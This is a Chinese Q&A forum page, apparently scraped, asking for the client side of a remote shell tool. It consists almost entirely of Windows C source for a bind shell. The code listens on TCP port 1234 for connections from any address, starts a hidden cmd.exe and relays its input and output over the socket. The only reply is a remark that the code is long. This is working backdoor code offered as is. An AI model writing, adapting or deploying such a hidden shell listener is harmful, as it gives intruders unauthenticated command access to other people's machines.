首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C语言 >

求获取shell的客户端代码,该怎么解决

2012-08-07 
求获取shell的客户端代码#include stdio.h#include string.h#include winsock2.h#pragma comment(li

求获取shell的客户端代码
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 1234
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varRead,varWrite;

DWORD WINAPI ThreadFuncRead( LPVOID lpParam )
{
//声明一个安全属性结构变量
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
int nRetCode;
//对pipeattr的各个成员进行赋值
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
//创建一个匿名管道,并使用上面的安全属性结构变量pipeattr为管道的安全属性
//其中hReadPipe是用来从管道中读取数据的管道句柄
//hWriteFile是向管道写入数据的管道句柄
nRetCode = CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
//判断管道是否创建成功
if (nRetCode == 0)
{
printf ("CreatePipe readpipe Error!\n");
exit(-1);
}
//如果管道创建成功,就将varRead赋值为1
varRead = 1;
//得到当前进程的路径,当有用户连接上时就会显示出来
char curDirBuff[256];
DWORD nDirLength=0;
nDirLength = GetCurrentDirectory(256,curDirBuff);
curDirBuff[nDirLength]='>';
nRetCode=WriteFile(hWriteFile,
curDirBuff,
nDirLength+1,
&nDirLength,
NULL);
//使用一个无限循环,来从客户端接收数据,并写入管道
while(true)
{
Sleep(250);
//从客户端接收数据,数据写入缓冲区recv_buff中
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
//使用WriteFile向句柄hWriteFile中写入数据,这个管道中的数据可以通过
//hReadFile管道句柄读取,而hReadFile是全局变量,则在程序中的任何地方
//都可以访问到
nRetCode = WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncWrite( LPVOID lpParam )
{
//同样是先来声明一个安全属性变量pipeattr
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
int nRetCode;
unsigned long nCount;
unsigned long nAvail;
char send_buff[25000];
ZeroMemory(send_buff, 25000);
//对安全属性变量赋初值
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
//创建另外一个匿名管道,其使用的参数与上面一个线程函数处相同
nRetCode = CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
//如果管道创建失败,就返回
if (nRetCode == 0)
{
printf ("CreatePipe writepipe Error!\n");
exit(-1);
}
//管道创建成功,将varWrite赋值为1
varWrite = 1;
//进入一个无限循环,每隔250ms就尝试从上面的这个匿名管道中读取数据,如果
//管道中存在数据,ReadFile()函数通过hReadFile就可以读到数据,而且当且仅
//当读到了数据,服务端才会向客户端发送数据。
while (true)
{
Sleep(250);
//尝试从hReadFile中读取数据,数据长度放入len
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);
//只有数据长度len不为0时,才有必要向客户端发送数据
if (len != 0)
{
send(ClientSocket,
send_buff,
len,
0);
}
}
return 0;
}

void main(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdRead,dwThreadIdWrite,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
//这里通过WSAStartup函数的调用,来初始化对WS2_32.dll的使用。这里使用
//MAKEWORD(2,2)来声明一下使用windows sockets2.2的版本。如果函数调用成功,
//返回值为0。
nRetCode = WSAStartup(MAKEWORD(2,2),&WSAData);
if (nRetCode != 0)
{
printf ("WSAStartup Error!\n");
return;
}
//定义一个服务端通信的套接字,协议家族使用AF_INET,通信协议为面向连接的
//TCP协议。
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ServerSocket == INVALID_SOCKET)
{
printf ("Socket error!\n");
return;
}
//使用TCP协议进行通信之前,需要绑定一个端口,并指定要通信的IP地址,这里 //我们使用INADDR_ANY,也就是说允许任何IP地址进行连接。
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
//将服务端的套接字与上面的这个结构变量绑定在一起。
nRetCode = bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
if (nRetCode == SOCKET_ERROR)


{
printf ("Bind Error!\n");
return;
}
//使用listen监听在此套接字上的第一次握手的连接请求。
nRetCode = listen(ServerSocket, 5);
if (nRetCode == SOCKET_ERROR)
{
printf ("listen Error!\n");
return;
}
//在开启读写线程之前,对它们用到的变量赋初值。
varRead = 0;
varWrite = 0;
//第一次接收服务器端的初始化信息,以显示进程的当前目录
ClientSocket = accept(ServerSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET)
{
printf ("Accept Error!\n");
return;
}
//开启读线程
if (CreateThread(NULL, 0, ThreadFuncRead, NULL, 0, &dwThreadIdRead) == NULL)
{
printf ("Create Thread ThreadFuncRead Error!\n");
return ;
}
//开启写线程
if (CreateThread(NULL, 0, ThreadFuncWrite, NULL, 0, &dwThreadIdWrite) == NULL)
{
printf ("Create Thread ThreadFuncWrite Error!\n");
return;
}
//使用循环阻塞,等待读写线程的就绪
do
{
Sleep(250);
}while((varRead || varWrite) == 0);
//得到当前进程的进程启动信息
GetStartupInfo(&startinfo);
//对其中某些属性进行调整,并继承那些不做调整的属性
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
//在使用osvi得到操作系统信息时,要注意一定要先初始化这个大小变量
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
//得到操作系统版本信息,放入结构变量osvi中。
GetVersionEx(&osvi);
/*得到Cmd.exe所在的系统目录的全路径名*/
char DirSys[256];
::GetSystemDirectory(DirSys, 256);
strcat(DirSys,"\\Cmd.exe");
//如果dwPlatformId值为2,说明操作系统是NT以后的版本的操作系统
if(osvi.dwPlatformId == 2)
{
if (CreateProcess(DirSys, NULL, NULL, NULL, TRUE, 0, 
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
CreateProcess(NULL,
"command.com",
0,
0,
true,
0,
0,
0,
&startinfo,
&processinfo);
}
//同样是使用无限循环,来接收客户端的通信请求,从而进行数据的交互
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET)
{
printf ("Accept Error!\n");
return;
}
Sleep(250);
}
}


[解决办法]
好长的代码

热点排行